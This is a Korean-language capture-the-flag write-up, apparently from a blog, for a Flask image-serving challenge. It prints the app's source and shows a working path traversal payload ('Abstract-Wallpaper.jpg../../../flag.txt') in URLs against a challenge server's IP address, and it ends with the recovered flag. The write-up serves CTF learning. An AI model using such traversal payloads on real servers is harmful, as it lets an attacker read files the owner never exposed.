1. 개요
file traversal 문제
2. 분석
1) 접속
아무것도 없고 이미지만 있는 사이트를 보니
이제는 아 file traversal 문제겠구가 라고 바로 감이 옵니다.
2) 소스코드
코드를 보면 flag.txt가 어딘가에 있고
다음 2개가 key, value에 꼭 필요하다고 나옵니다.
- image - key
- .jpg - value
import os
import re
from pathlib import Path
from flask import Flask, render_template, request, send_file
app = Flask(__name__)
IMAGE_FOLDER = Path("/images")
@app.route("/")
def index():
images = [p.name for p in IMAGE_FOLDER.iterdir()]
return render_template("index.html", images=images)
@app.route("/image")
def image():
if "image" not in request.args:
return "Image not provided", 400
if ".jpg" not in request.args["image"]:
return "Invalid filename", 400
file = IMAGE_FOLDER.joinpath(Path(request.args["image"]))
if not file.is_relative_to(IMAGE_FOLDER):
return "Invalid filename", 400
try:
return send_file(file.resolve())
except FileNotFoundError:
return "File does not exist", 400
@app.route("/flag")
def flag():
if 2 + 2 == 5:
return send_file("/flag.txt")
else:
return "No.", 400
if __name__ == "__main__":
app.run()
4) 테스트
당연하지만 flag.txt를 바로 적는것은 통과하지 못합니다.
3. exploit
1) File does not exist
다음과 같이 상대 경로를 붙였을때 File does not exist 으로 에러 문구가 변했습니다. 즉, 소스 코드를 보았을때 필터는 통과한 경우입니다.
http://35.192.129.251:8003/image?image=Abstract-Wallpaper.jpg../flag.txt
2) 올라가기
다음 경로에서 flag를 찾을 수 있었습니다.
http://35.192.129.251:8003/image?image=Abstract-Wallpaper.jpg../../../flag.txt
flag{1616109079_is_a_cool_number}
'CTF' 카테고리의 다른 글
[HSCTF 9] the-great-directory-egg-hunt (0) | 2022.06.06 |
---|---|
[HSCTF 9] ICVC (0) | 2022.06.06 |
[EZCTF] Save peach (0) | 2022.06.06 |
[EZCTF] Mario bros! (0) | 2022.06.06 |
[b01lers CTF] gambler_overflow (0) | 2022.06.06 |